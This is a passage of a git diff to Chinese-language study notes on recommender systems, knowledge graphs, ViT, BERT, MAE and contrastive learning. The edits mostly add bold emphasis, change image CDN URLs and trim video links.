用户的兴趣是变化的 + - **用户的兴趣是变化的** 对于一个用户,其幼年时期和青年时期喜欢的动画片是不一样的;晴天和雨天想要的物品是不一样的;一个人开始工作前和开始工作后的需求也是不同的。 所以应该关注用户的近期行为,确定他的兴趣,最后给予用户推荐。 - - 物品具有生命周期 + - **物品具有生命周期** 流行物品会随着热度持续火爆一段时间,但最终会无人问津;生活必需品无论在什么时候都有稳定的需求量。 - - 季节效应 + - **季节效应** 正如概述中列出的冬衣与夏衣的区别,应该在合适的季节给用户推荐合适的物品。 ### 系统时间特性分析 @@ -25,10 +25,10 @@ - 当系统由之前的静态系统变成随时间变化的时变系统后,需要关注特性也会发生变化,则需要重新观测一些数据,以推断系统的关于时间变化的特性。 下面是一些可以用来观测的数据: - - 确定系统的用户增长数,以判断系统的增长情况或是衰退情况。 - - 物品的平均在线天数,即将满足用户物品互动次数的物品标记为在线,测算物品的平均在线天数以标量物品的生命周期。 - - 系统的时效性,判断相隔一段时间的物品流行度向量的相似度,若是相隔一段时间的相似度仍然较大,说明经过一段时间后,该物品还是被大众喜欢,则说明这件物品具有持久流行性。而对于系统来说,若是系统中大量物品的相似度变化都不大,则说明这个系统是一个推荐热度较持久物品的系统,说明系统的时效性较弱。 - - 系统对于用户的黏着性,统计用户的平均活跃天数,或者计算相隔一段时间的用户活跃度,以此判断系统对于用户的留存力或者说黏着性。 + - **确定系统的用户增长数**,以判断系统的增长情况或是衰退情况。 + - **物品的平均在线天数**,即将满足用户物品互动次数的物品标记为在线,测算物品的平均在线天数以标量物品的生命周期。 + - 系统的时效性,判断**相隔一段时间的物品流行度向量的相似度**,若是相隔一段时间的相似度仍然较大,说明经过一段时间后,该物品还是被大众喜欢,则说明这件物品具有持久流行性。而对于系统来说,若是系统中大量物品的相似度变化都不大,则说明这个系统是一个推荐热度较持久物品的系统,说明系统的时效性较弱。 + - 系统对于用户的黏着性,统计**用户的平均活跃天数**,或者计算**相隔一段时间的用户活跃度**,以此判断系统对于用户的留存力或者说黏着性。 ### 推荐系统的实时性 @@ -45,9 +45,9 @@ 综上,时间多样性会提高用户的满意度,所以如何在确保精度的条件下提高系统的时间多样性呢? - - 需要用户在有新行为时,更新推荐列表 + - **需要用户在有新行为时,更新推荐列表** 传统的离线更新的推荐系统无法满足需求,所以需要使用实时推荐系统。 - - 需要用户在没有新行为的时候,经常变化推荐列表 + - **需要用户在没有新行为的时候,经常变化推荐列表** 通常采取以下三种方法: - 生成推荐列表时加入一定的随机性。 @@ -58,7 +58,7 @@ ### 时间上下文推荐算法 -- 最近最热门 +- **最近最热门** 一种最朴素的思想, 在系统引入了时间信息之后,最简单的非个性化推荐算法就是给用户推荐最近最热门的物品。 给定时间 T,物品 i 在最近的流行度可定义为: @@ -67,10 +67,10 @@ n_i(T)= \sum_{(u,i,t) \in Train ,t时间上下文相关的 itemCF 算法 +- **时间上下文相关的 itemCF 算法** itemCF 算法所依赖的核心部分,在引入时间信息后可以进行进一步更新 - - 物品相似度 利用用户行为,计算物品间的相似度,用户在相隔很短的时间内喜欢的物品通常具有更高的相似度,所以可以在相似度计算公式中引入时间信息,使得相似度计算更加准确。 + - **物品相似度** 利用用户行为,计算物品间的相似度,用户在相隔很短的时间内喜欢的物品通常具有更高的相似度,所以可以在相似度计算公式中引入时间信息,使得相似度计算更加准确。 原本的相似度公式为: $$ @@ -91,7 +91,7 @@ 其中$\alpha$ 是时间衰减参数,它的取值与系统的对于自身定义有关系。收到用户兴趣变化的额外影响。 - - 在线推荐 用户近期行为相比用户很久之前的行为,更能体现用户目前的兴趣,所以在进行预测时,应当加重用户近期行为的权重,但不应该偏离用户长期行为的行为基调。 + - **在线推荐** 用户近期行为相比用户很久之前的行为,更能体现用户目前的兴趣,所以在进行预测时,应当加重用户近期行为的权重,但不应该偏离用户长期行为的行为基调。 原本的用户u对于物品i的兴趣$p(u,i)$ 可通过如下公式计算: $$p(u,i)=\sum_{j\in N(u)}{sim(i,j)}$$ @@ -106,11 +106,11 @@ 在上面的更新后公式中,$t_0$ 表示当前时间,该公式表明,当 $t_{uj}$ 与 $t_0$ 越靠近,和物品j相似的物品就会在用户u的推荐列表中获得更高的排名。其中的$\beta$和上文的 $\alpha$ 是一样的,需要根据系统的情况选择合适的值。 -- 时间上下文相关的userCF算法 +- **时间上下文相关的userCF算法** 与itemCF算法类似,userCF在引入时间信息后也可以进行更新 - - 用户兴趣相似度 用户相似度在引入时间信息后,会将用户相同的逆时序选择相似度降低。简单来说,就是A一月BF1长时间在线,二月BF5长时间在线,而B一月BF5长时间在线,二月BF1长时间在线;C行为信息与A相同。如果不引入时间信息,那么AB的相似度与AC的相似度是一样的,而实际上,AC的相似度会大于AB的相似度。 + - **用户兴趣相似度** 用户相似度在引入时间信息后,会将用户相同的逆时序选择相似度降低。简单来说,就是A一月BF1长时间在线,二月BF5长时间在线,而B一月BF5长时间在线,二月BF1长时间在线;C行为信息与A相同。如果不引入时间信息,那么AB的相似度与AC的相似度是一样的,而实际上,AC的相似度会大于AB的相似度。 userCF的用户uv间相似度的基本公式为: @@ -130,7 +130,7 @@ 同样增加了一个时间衰减因子,用户uv对于i的作用时间差距越大,那么两人的相似度会相应降低。 - - 相似兴趣用户的最近行为 对于用户u来说,存在最近行为与用户u相似的用户v,那么用户v的最近行为,将会比用户u很久之前的行为更具有参考价值。 + - **相似兴趣用户的最近行为** 对于用户u来说,存在最近行为与用户u相似的用户v,那么用户v的最近行为,将会比用户u很久之前的行为更具有参考价值。 userCF中用户u对于物品i兴趣的基础公式为: @@ -146,7 +146,7 @@ p(u,i)=\sum_{v\in S(u,k)}{w_{ui}r_{vi}} \frac{1}{1+\alpha(\vert t_0-t_{vi}\vert)} $$ -- 时间段图模型 +- **时间段图模型** 同样是一个基于图的推荐系统模型,引入时间信息,建立一个二分图时间段图模型: $$ @@ -169,11 +169,11 @@ 在构建了引入时间信息的图结构后,最简单的思想就是利用PersonalRank算法给用进行个性化推荐。但由于其复杂度较高,所以引入路径融合算法。 一般来说,图上两个点的相关度强有以下的特征: - - 两个顶点间有很多路径 + - **两个顶点间有很多路径** - - 两个顶点间路径比较短 + - **两个顶点间路径比较短** - - 两点间不经过出度大的点 ,即不经过与很多其他点相连的节点,在推荐系统思维中等效于不与过热门物品关系紧密。 + - **两点间不经过出度大的点** ,即不经过与很多其他点相连的节点,在推荐系统思维中等效于不与过热门物品关系紧密。 #### 路径融合算法 @@ -199,15 +199,15 @@ ### 地点信息效应 -- 基于用户当前位置的推荐:对于用户当前位置,为其推荐距离更近的餐馆,娱乐场所或消费场所。 +- **基于用户当前位置的推荐**:对于用户当前位置,为其推荐距离更近的餐馆,娱乐场所或消费场所。 -- 基于用户活跃位置的推荐:对于用户长期活跃的区域,降低该区域内物品的权重,提高范围外物品的权重,以提高系统的新鲜度。 +- **基于用户活跃位置的推荐**:对于用户长期活跃的区域,降低该区域内物品的权重,提高范围外物品的权重,以提高系统的新鲜度。 ### 基于位置的推荐算法 - 明尼苏达大学的LARS推荐系统(Location Aware Recommender System,位置感知推荐系统)。 - - 对于数据的预处理 + - **对于数据的预处理** 将物品分为两类:(1)有空间属性的物品,餐馆,商店,旅游景点。(2)没有空间属性的物品,图书电影等。 @@ -223,9 +223,9 @@ (用户,用户位置,物品,物品位置,评分):记录了某个位置的用户,对于某个地点的物品的评分。 - - 研究前两组数据:发现两种特征:(1)兴趣本地化,不同位置的用户存在较大的兴趣差异,不同国家和不同地区的差异。(2)活动本地化,一个用户往往在附近的地区活动。 + - **研究前两组数据**:发现两种特征:(1)兴趣本地化,不同位置的用户存在较大的兴趣差异,不同国家和不同地区的差异。(2)活动本地化,一个用户往往在附近的地区活动。 - - 对于不同数据的处理 + - **对于不同数据的处理** - 第一种数据:LARS的基本思想是,采用树状结构来进行数据集划分。 @@ -236,7 +236,7 @@ (3)LARS通过该节点的行为数据,利用基本推荐算法进行为用户进行推荐。 但是,对于上述过程,若是树的深度较大,则划分到每个节点的用户数据将较少,难以训练出一个令人满意的模型。所以有改进方法如下: - 从根节点出发,利用每个中间节点的数据训练出一个模型,而最终的推荐结果,是这一些列推荐模型所产出的推荐结果的加权结果。这个模型也被称为“金字塔模型”,其中深度是影响这个模型性能的重要参数,选取合适的深度对于该算法十分重要。 + 从根节点出发,利用每个中间节点的数据训练出一个模型,而最终的推荐结果,是这一些列推荐模型所产出的推荐结果的加权结果。这个模型也被称为“**金字塔模型**”,其中**深度**是影响这个模型性能的重要参数,选取合适的深度对于该算法十分重要。 - 第二种数据:对于物品i在用户u推荐列表中的权重公式进行修正 (1)首先忽略物品的位置信息,利用itemCF算法计算用户u对物品i的兴趣。 diff --git a/4.人工智能/4.6.6.2.3序列化推荐.md b/4.人工智能/4.6.6.2.3序列化推荐.md index 3c0065f..5cc0a73 100644 --- a/4.人工智能/4.6.6.2.3序列化推荐.md +++ b/4.人工智能/4.6.6.2.3序列化推荐.md @@ -10,5 +10,5 @@

而SRSs则是将用户和商品的交互建模为一个动态的序列并且利用序列的依赖性来活捉当前和最近用户的喜好。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnolggxKhDZDBzIFPIaDFfhc.png) +![](https://cdn.xyxsw.site/boxcnolggxKhDZDBzIFPIaDFfhc.png) diff --git a/4.人工智能/4.6.6.2推荐系统.md b/4.人工智能/4.6.6.2推荐系统.md index 6fa4dd1..967e47e 100644 --- a/4.人工智能/4.6.6.2推荐系统.md +++ b/4.人工智能/4.6.6.2推荐系统.md @@ -4,7 +4,7 @@ 如下图是阿里巴巴著名的“千人千面”推荐系统 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn3bdrD08wpaYhL59ezDukuc.jpg) +![](https://cdn.xyxsw.site/boxcn3bdrD08wpaYhL59ezDukuc.jpg) 还有短视频应用用户数量的急剧增长,这背后,视频推荐引擎发挥着不可替代的作用 diff --git a/4.人工智能/4.6.6.3知识图谱.md b/4.人工智能/4.6.6.3知识图谱.md index badb06c..ebd27f4 100644 --- a/4.人工智能/4.6.6.3知识图谱.md +++ b/4.人工智能/4.6.6.3知识图谱.md @@ -19,7 +19,6 @@ 具体其发展历程参考: - [https://mp.weixin.qq.com/s/Mcikp99bsVgxAaykctmcAw](https://mp.weixin.qq.com/s/Mcikp99bsVgxAaykctmcAw) 知识图谱的前世今生 -- [https://www.it610.com/article/1277333416756396032.htm](https://www.it610.com/article/1277333416756396032.htm) 知识图谱历史发展 在大致了解知识图谱的历史发展脉络后,我们或许对它有了一个初步的认知——一个由抽象符号构成的知识库,目的是为了让计算机理解人类的语义信息,打个不太恰当的比方,就是个计算机理解人类世界的大脑。 @@ -42,4 +41,4 @@ 在成功搭建起知识图谱这个数据库后,接下来就是最重要的一步了,让计算机理解——表示学习。目前这个方向,最重要的就是向量化,将节点和关系全部向量化,一方面有向量的平移不变性的好处,另一方面也方便计算,在从中穿插点图论的相关知识,例如将知识图谱看成特大号异构图进行处理。不过这方面方向太多,难以一一列举。 - [https://www.cnblogs.com/fengwenying/default.html?page=5](https://www.cnblogs.com/fengwenying/default.html?page=5) 胡萝不青菜的博客 -- [https://space.bilibili.com/497998686?spm_id_from=333.337.0.0](https://space.bilibili.com/497998686?spm_id_from=333.337.0.0) up 主骰子 AI,知识图谱在推荐系统上的利用 +- [up主 骰子 AI](https://space.bilibili.com/497998686?spm_id_from=333.337.0.0) up 主 骰子 AI,知识图谱在推荐系统上的利用 diff --git a/4.人工智能/4.6.7.1VIT.md b/4.人工智能/4.6.7.1VIT.md index ca13ee2..24462ff 100644 --- a/4.人工智能/4.6.7.1VIT.md +++ b/4.人工智能/4.6.7.1VIT.md @@ -4,7 +4,7 @@ VIT前Transformer模型被大量应用在NLP自然语言处理当中,而在CV领域,Transformer的注意力机制attention也被广泛应用,比如Se模块,CBAM模块等等注意力模块,这些注意力模块能够帮助提升网络性能。 - 而VIT的工作展示了不需要依赖CNN的结构,也可以在图像分类任务上达到很好的效果。 + 而**VIT的工作展示了不需要依赖CNN的结构,也可以在图像分类任务上达到很好的效果**。 同时VIT也影响了近2年的CV领域,改变了自2012年AlexNet提出以来卷积神经网络在CV领域的绝对统治地位。 @@ -18,13 +18,13 @@ ## 模型详解 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn1wqKtwBc6MCJDm7ehvhXac.png) +![](https://cdn.xyxsw.site/boxcn1wqKtwBc6MCJDm7ehvhXac.png) ### 模型主题结构 结构上,VIT 采取的是原始 Transformer 模型,方便开箱即用,即在 encoder-decoder 结构上与 NLP 的 Transform 模型并无差别。 -主要做出的贡献在于数据处理和分类头 +主要做出的贡献在于**数据处理和分类头** ### Patch embedding @@ -38,7 +38,7 @@ > 今天天气不错,我要去看电影 -其中则编码为[0.5,0.6,0.6] +其中**我**则编码为[0.5,0.6,0.6] 而具体来说 Word embedding 分为以下两步 @@ -51,9 +51,9 @@ 例如 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn1szLG4Y4s0UkY3kkW18Xoc.png) +![](https://cdn.xyxsw.site/boxcn1szLG4Y4s0UkY3kkW18Xoc.png) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnv2inISAGi2xOauc3pxKpCb.png) +![](https://cdn.xyxsw.site/boxcnv2inISAGi2xOauc3pxKpCb.png) 其中该张图片的编码为[0.5,0.6,0.3,....] @@ -70,4 +70,4 @@ ## 视频 -https://www.bilibili.com/video/BV15P4y137jb \ No newline at end of file + diff --git a/4.人工智能/4.6.7.2BERT.md b/4.人工智能/4.6.7.2BERT.md index 98f40b7..836a7dc 100644 --- a/4.人工智能/4.6.7.2BERT.md +++ b/4.人工智能/4.6.7.2BERT.md @@ -6,9 +6,9 @@ # 前言 -BERT 是一种基于 transformer 架构的自然语言处理模型,它把在 cv 领域广为应用的预训练(pre-trainning)微调(fine-tune)的结构成功引入了 NLP 领域。 +BERT 是一种基于 transformer 架构的自然语言处理模型,它把在 cv 领域广为应用的**预训练(pre-trainning)**和**微调(fine-tune)**的结构成功引入了 NLP 领域。 -简单来说,BERT 就是一种认识几乎所有词的训练好的网络,当你要做一些下游任务时,可以在 BERT 预训练模型的基础上进行一些微调,以进行你的任务。也就是 backbone 模型,输出的是文本特征。 +简单来说,BERT 就是一种**认识几乎所有词的**,**训练好**的网络,当你要做一些下游任务时,可以在 BERT 预训练模型的基础上进行一些微调,以进行你的任务。也就是 backbone 模型,输出的是文本特征。 举个例子,我要做一个文本情感分析任务,也就是把文本对情感进行分类,那我只需要在 BERT 的基础上加一个 mlp 作为分类头,在我的小规模数据上进行继续训练即可(也就是微调)。 @@ -24,19 +24,19 @@ mlp 的重点和创新并非它的模型结构,而是它的训练方式,前 在文本被输入模型之前,我们要对它进行一些处理: -1. 词向量(wordpiece embedding):单词本身的向量表示。每个词(或者进行时过去时后缀之类的)会被记录为一个向量。它们被储存在一个字典里,这一步其实就是在字典中查找这个词对应的向量。 -2. 位置向量(position embedding):将单词的位置信息编码成特征向量。构建 position embedding 有两种方法:BERT 是初始化一个 position embedding,然后通过训练将其学出来;而 Transformer 是通过制定规则来构建一个 position embedding。 -3. 句子向量(segment embedding):用于区分两个句子的向量表示。这个在问答等非对称句子中是用于区别的。(这个主要是因为可能会用到对句子的分析中) +1. **词向量**(wordpiece embedding):单词本身的向量表示。每个词(或者进行时过去时后缀之类的)会被记录为一个向量。它们被储存在一个字典里,这一步其实就是在字典中查找这个词对应的向量。 +2. **位置向量**(position embedding):将单词的位置信息编码成特征向量。构建 position embedding 有两种方法:BERT 是初始化一个 position embedding,**然后通过训练将其学出来**;而 Transformer 是通过**制定规则**来构建一个 position embedding。 +3. **句子向量**(segment embedding):用于区分两个句子的向量表示。这个在问答等非对称句子中是用于区别的。(这个主要是因为可能会用到对句子的分析中) BERT 模型的输入就是上面三者的和,如图所示: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcngc1a7cWapQA9rSLXYqUvkf.png) +![](https://cdn.xyxsw.site/boxcngc1a7cWapQA9rSLXYqUvkf.png) ## 模型结构 -简单来说,BERT 是 transformer编码器的叠加,也就是下图左边部分。这算一个 block。 +简单来说,BERT 是 transformer**编码器**的叠加,**也就是下图左边部分**。这算一个 block。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnPg8594YzCdnX6KZxpEYYod.png) +![](https://cdn.xyxsw.site/boxcnPg8594YzCdnX6KZxpEYYod.png) 说白了就是一个 多头自注意力=>layer-norm=> 接 feed forward(其实就是 mlp)=>layer-norm,没有什么创新点在这里。因为是一个 backbone 模型,它没有具体的分类头之类的东西。输出就是最后一层 block 的输出。 @@ -50,7 +50,7 @@ BERT 训练方式跟 cv 里的很多 backbone 模型一样,是先用几个具 跟以往的 nlp 模型不同,BERT 的掩码并非 transformer 那样,给前面不给后面,而是在句子中随机把单词替换为 mask,让模型去猜,也就是完形填空。下面给个例子: -划掉的单词是被 mask 的 +**划掉的单词是被 mask 的** 正常的掩码:I am a little cat @@ -74,6 +74,8 @@ BERT 因为是以完型填空训练的,因此不能用于文本生成任务, # 相关资料: -李沐的【BERT 论文逐段精读【论文精读】】 [https://www.bilibili.com/video/BV1PL411M7eQ/?share_source=copy_web&vd_source=59df19b7fca15c3fb440b91c21605fc6](https://www.bilibili.com/video/BV1PL411M7eQ/?share_source=copy_web&vd_source=59df19b7fca15c3fb440b91c21605fc6) +李沐的【BERT 论文逐段精读【论文精读】】https://www.bilibili.com/video/BV1PL411M7eQ + + 原论文:[https://arxiv.org/pdf/1810.04805v2](https://arxiv.org/pdf/1810.04805v2) diff --git a/4.人工智能/4.6.7.3MAE.md b/4.人工智能/4.6.7.3MAE.md index 90cb0d9..58ee7d3 100644 --- a/4.人工智能/4.6.7.3MAE.md +++ b/4.人工智能/4.6.7.3MAE.md @@ -14,7 +14,7 @@ cv 领域,其实预训练模型早已推广,一般是在 imagenet 上进行 那么问题来了,既然我们要学习 BERT 的随机掩码,那么我们应该对什么做 mask 呢? -因为图片不像文本,有单词这一基础单位。图片的基础单位像素在被单独拿出来的时候包含的语义信息是完全不如单词的。因为像素的语义信息与上下左右的连续关系很密切。于是作者采用了像 VIT 那样把图片分成好几个 patch,对 patch 做随机掩码。 +因为图片不像文本,有单词这一基础单位。图片的基础单位像素在被单独拿出来的时候包含的语义信息是完全不如单词的。因为像素的语义信息与**上下左右的连续关系**很密切。于是作者采用了像 VIT 那样把图片分成好几个 patch,对 patch 做随机掩码。 # 模型结构与训练方式 @@ -28,7 +28,7 @@ cv 领域,其实预训练模型早已推广,一般是在 imagenet 上进行 在这里,作者为了加大任务的难度,扩大了被 mask 掉的比例,避免模型只学到双线性插值去修补缺的图像。作者把 75% 的 patch 进行 mask,然后放入模型训练。从下图可以看出,被 mask 的块是不进行编码的,这样也可以降低计算量,减少成本。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnd7HTEFOiJxVQ3jtOpzK4ie.png) +![](https://cdn.xyxsw.site/boxcnd7HTEFOiJxVQ3jtOpzK4ie.png) 在被保留的块通过编码器后,我们再在原先位置插入只包含位置信息的 mask 块,一起放入解码器。 @@ -38,12 +38,14 @@ cv 领域,其实预训练模型早已推广,一般是在 imagenet 上进行 下面是原论文给的训练结果,可以看到效果是很惊人的。(有些图我脑补都补不出来) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnPWO0VWbPvCE537tf6MWu4e.png) +![](https://cdn.xyxsw.site/boxcnPWO0VWbPvCE537tf6MWu4e.png) # 相关资料 更具体的比如模型性能对比最好还是去看原论文或者李沐老师的讲解 -李沐【MAE 论文逐段精读【论文精读】】 [https://www.bilibili.com/video/BV1sq4y1q77t/?share_source=copy_web&vd_source=59df19b7fca15c3fb440b91c21605fc6](https://www.bilibili.com/video/BV1sq4y1q77t/?share_source=copy_web&vd_source=59df19b7fca15c3fb440b91c21605fc6) +李沐【MAE 论文逐段精读【论文精读】】 https://www.bilibili.com/video/BV1sq4y1q77t + + 原论文:[https://arxiv.org/pdf/2111.06377v2.pdf](https://arxiv.org/pdf/2111.06377v2.pdf) diff --git a/4.人工智能/4.6.7Transformer.md b/4.人工智能/4.6.7Transformer.md index 47c8ecb..f03dcbf 100644 --- a/4.人工智能/4.6.7Transformer.md +++ b/4.人工智能/4.6.7Transformer.md @@ -38,7 +38,9 @@ 论文的优秀讲解 -[Transformer 中 Self-Attention 以及 Multi-Head Attention 详解_哔哩哔哩_bilibili](https://www.bilibili.com/video/BV15v411W78M?spm_id_from=333.337.search-card.all.click&vd_source=2cb6252f9211ae9d29cf1f76f0aea8d7) +[Transformer 中 Self-Attention 以及 Multi-Head Attention 详解_哔哩哔哩_bilibili](https://www.bilibili.com/video/BV15v411W78M) + + 除此之外就是相关代码,不要求你可以完全自己复现,但是要保证非常重要的知识都懂 diff --git a/4.人工智能/4.6.8.1前言.md b/4.人工智能/4.6.8.1前言.md index 697999b..790ab9a 100644 --- a/4.人工智能/4.6.8.1前言.md +++ b/4.人工智能/4.6.8.1前言.md @@ -16,7 +16,7 @@ 对比学习,故名思意,是对比着来学习。而我们拿来对比的东西就是在模型眼里的语义,也就是我们叫做特征的向量。 -在具体讲对比之前,我们先看看传统的监督学习是怎么学特征的: +在具体讲对比之前,我们先看看传统的**监督学习**是怎么学特征的: 数据 + 模型=> 特征,特征对人工标注进行学习,也就是说我们要把模型抽取的特征尽可能的靠近人工标注 @@ -24,17 +24,17 @@ 直观来讲,我们把特征的向量进行一下归一化,它们就分布在一个超球面上。简单起见,我们先看 3 维向量 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnJ6HpIJqxJuxiz7Cw5GopSh.png) +![](https://cdn.xyxsw.site/boxcnJ6HpIJqxJuxiz7Cw5GopSh.png) -我们通过正样本(跟拿到的特征应当相近的另一个特征)与负样本(反之)的对比,使得 +我们通过**正样本**(跟拿到的特征**应当相近**的另一个特征)与**负样本**(反之)的对比,使得 越相近的物体,它们的特征就在超球面上越靠近,越不像的物体离的越远,去学习图片更本质的特征 那么具体的对比学习方法我在后面结合一些论文一起讲吧~ -这部分内容更像一个综述,讲述对比学习这几年的发展路程,所以我会尽可能的描述作者在论文里讲的故事,来方便大家弄清为什么要这么做。 +这部分内容更像一个综述,讲述对比学习这几年的发展路程,所以我会尽可能的描述作者在论文里讲的**故事**,来方便大家弄清为什么要这么做。 -可能会有很多我的主观理解在此,并且不会深入细节。可以算是一个总结和分享,我会在这里带着读者过一遍近期对比学习的工作来给大家一个对比学习方向的直观感性理解。 +**可能会有很多我的主观理解在此**,并且**不会**深入细节。可以算是一个总结和分享,我会在这里带着读者过一遍近期对比学习的工作来给大家一个对比学习方向的直观感性理解。 同时因为笔者水平,视野,精力有限,不可能包含所有的算法,也不可能保证完全正确。因此仅作为笔记分享使用。若有错误,请多多指正。 diff --git a/4.人工智能/4.6.8.2Inst Disc.md b/4.人工智能/4.6.8.2Inst Disc.md index 3d6e134..5aef0c1 100644 --- a/4.人工智能/4.6.8.2Inst Disc.md +++ b/4.人工智能/4.6.8.2Inst Disc.md @@ -8,15 +8,15 @@ 作者团队认为,让这些猎豹,雪豹的标签相互接近(指互相在判别时都排名靠前)的原因并不是它们有相似的标签,而是它们有相似的图像特征。 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnrR3eFvOSKYRH8Ni0dvHYkc.png) +![](https://cdn.xyxsw.site/boxcnrR3eFvOSKYRH8Ni0dvHYkc.png) ## 个体判别任务 既然有了上面这个发现,那么作者想我能不能把分类任务推到极致呢? -于是他们把每一个图片当作一个类别,去跟其他的图片做对比,具体模型如下 +于是他们**把每一个图片当作一个类别**,去跟其他的图片做对比,具体模型如下 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnPNukes2FlNwUFSKiqIJEbd.png) +![](https://cdn.xyxsw.site/boxcnPNukes2FlNwUFSKiqIJEbd.png) 先介绍一下模型结构: @@ -24,9 +24,9 @@ 2.后面接了一个 Non-param Softmax(非参数 softmax),其实就是一个不被训练的,把所有特征投射到超球面上的一个分类头(把所有特征模长变为 1)。 -3.后面的Memory Bank是这篇文章的重点,它是一个动态字典。我们把每一个图片抽取出来的特征存入 memory bank,每次计算时抽取其中部分作为一个 batch 进行对比学习,把更新后的模型得到的特征替换 memory bank 里原先的特征。 +3.后面的**Memory Bank**是这篇文章的**重点**,它是一个**动态字典**。我们把每一个图片抽取出来的特征存入 memory bank,每次计算时抽取其中部分作为一个 batch 进行对比学习,把更新后的模型得到的特征替换 memory bank 里原先的特征。 -4.具体损失函数用的是一个叫 NCEloss 的损失,它把多分类问题分为若干个二分类问题不是,每个 batch 中只有一个的 ground truth 是’yes‘,其余都是’no‘ +4.具体损失函数用的是一个叫 NCEloss 的损失,它把多分类问题分为**若干个二分类问题**,**是**与**不是**,每个 batch 中只有一个的 ground truth 是’yes‘,其余都是’no‘ 在训练的时候,相当于是有一组以前的编码器抽取的特征 A,B,C,D...,一组当前编码器抽取的特征 a,b,c,d...,对它们进行对比学习。对 a 来说,A 是正样本,其他都是负样本,同理类推。 @@ -38,9 +38,9 @@ 用动量更新的方法去更新 memory bank 中的特征 -也就是让特征的变化不那么剧烈 +也就是让特征的变化**不那么剧烈** -原因:如果一直保持更新,特征总体的变化就会比较大,而我们在大数据集上训练的时候,等第二次调用一个特征时,它跟现在的特征分布已经大相径庭,那就不好训练了,也就是特征缺乏一致性。因此我们引入动量更新来确保特征进行平稳的改变,而非突变。 +原因:如果一直保持更新,**特征总体的变化就会比较大**,而我们在大数据集上训练的时候,等第二次调用一个特征时,它跟现在的特征分布已经大相径庭,那就不好训练了,也就是**特征缺乏一致性**。因此我们引入动量更新来确保特征进行平稳的改变,而非突变。 #### 关于动量的小拓展 @@ -48,11 +48,11 @@ A 是起始点,B 是第一次更新后的点,C 是第二次更新后的点 -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcn5zfD155Joy1eD5CvbZXZnc.png) +![](https://cdn.xyxsw.site/boxcn5zfD155Joy1eD5CvbZXZnc.png) 而在我们刚刚提到的动量更新里,它的公式可以概括为: -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnTLEK31rFmuRo2MOWGRBoYe.png) +![](https://cdn.xyxsw.site/boxcnTLEK31rFmuRo2MOWGRBoYe.png) m 表示动量,k 是新的特征,q 是上一个特征,只要设置小的动量就可以使改变放缓。 @@ -60,4 +60,4 @@ m 表示动量,k 是新的特征,q 是上一个特征,只要设置小的 总体来说,Inst Disc 把对比学习成功引入了 CV 领域,核心思想是构建动态字典进行对比学习 -PS:若无特殊说明,最后保留下来去做下游任务的模型只有编码器,其他都删除了。 +**PS:若无特殊说明,最后保留下来去做下游任务的模型只有编码器,其他都删除了。** diff --git a/4.人工智能/4.6.8.3定义正负样本的方式.md b/4.人工智能/4.6.8.3定义正负样本的方式.md index c62f67d..982a2cb 100644 --- a/4.人工智能/4.6.8.3定义正负样本的方式.md +++ b/4.人工智能/4.6.8.3定义正负样本的方式.md @@ -4,11 +4,11 @@ # 1.时序性定义(生成式模型) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnC10uzdj0G0BJPlUZKFIi7C.png) +![](https://cdn.xyxsw.site/boxcnC10uzdj0G0BJPlUZKFIi7C.png) -这是处理音频的一个例子,给模型 t 时刻以前的信息,让它抽取特征并对后文进行预测,真正的后文作为正样本,负样本当然是随便选取就好啦。 +这是处理音频的一个例子,**给模型 t 时刻以前的信息,让它抽取特征并对后文进行预测,真正的后文作为正样本,负样本当然是随便选取就好啦。** -不同于之前说的个体判别,这个是生成式模型,这个模型不止可以处理音频,还可以处理图片(每一个块换成一个词)或者处理图片(以 patch 为单位)。 +不同于之前说的个体判别,这个是**生成式模型**,这个模型不止可以处理音频,还可以处理图片(每一个块换成一个词)或者处理图片(以 patch 为单位)。 是不是有点眼熟?这跟我前面写的 BERT 和 MAE 其实异曲同工,不过这两位是随机 mask,而非时序性的 mask。 @@ -24,4 +24,4 @@ (这篇论文我准备开个新坑放着了,因为说实话不算对比学习,算多模态) -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/boxcnssaOVvp73SVIrzVvZPr1Je.png) +![](https://cdn.xyxsw.site/boxcnssaOVvp73SVIrzVvZPr1Je.png) diff --git a/4.人工智能/4.6.8.4MoCo.md b/4.人工智能/4.6.8.4MoCo.md index 1d633dd..7dd55ad 100644 --- a/4.人工智能/4.6.8.4MoCo.md +++ b/4.人工智能/4.6.8.4MoCo.md @@ -14,9 +14,9 @@ MoCo 是 Inst Disc 的改进工作,那我们自然要先看一下 Inst Disc ## 3.NCEloss 负样本分类不合理的问题 -NCE 把所有负样本都视作一样的,但实际上负样本并不能被完全归为一类 +NCE 把**所有负样本都视作一样的**,但实际上负样本**并不能被完全归为一类** -举个例子:我现在的正样本是猫猫,然后有两个负样本是狗勾汽车,那猫猫肯定跟狗勾更相近,跟汽车更不相似,也就是说的得分虽然低于,但是一定要高于汽车而不是像 NCE 那样把狗和车打成一类,这样不利于模型学习。 +举个例子:我现在的正样本是**猫猫**,然后有两个负样本是**狗勾**和**汽车**,那**猫猫**肯定跟**狗勾**更相近,跟**汽车**更不相似,也就是说**狗**的得分虽然低于**猫**,但是一定要高于**汽车**,**而不是像 NCE 那样把狗和车打成一类**,这样不利于模型学习。 并且它也不是很灵活,下文细讲 @@ -24,7 +24,7 @@ NCE 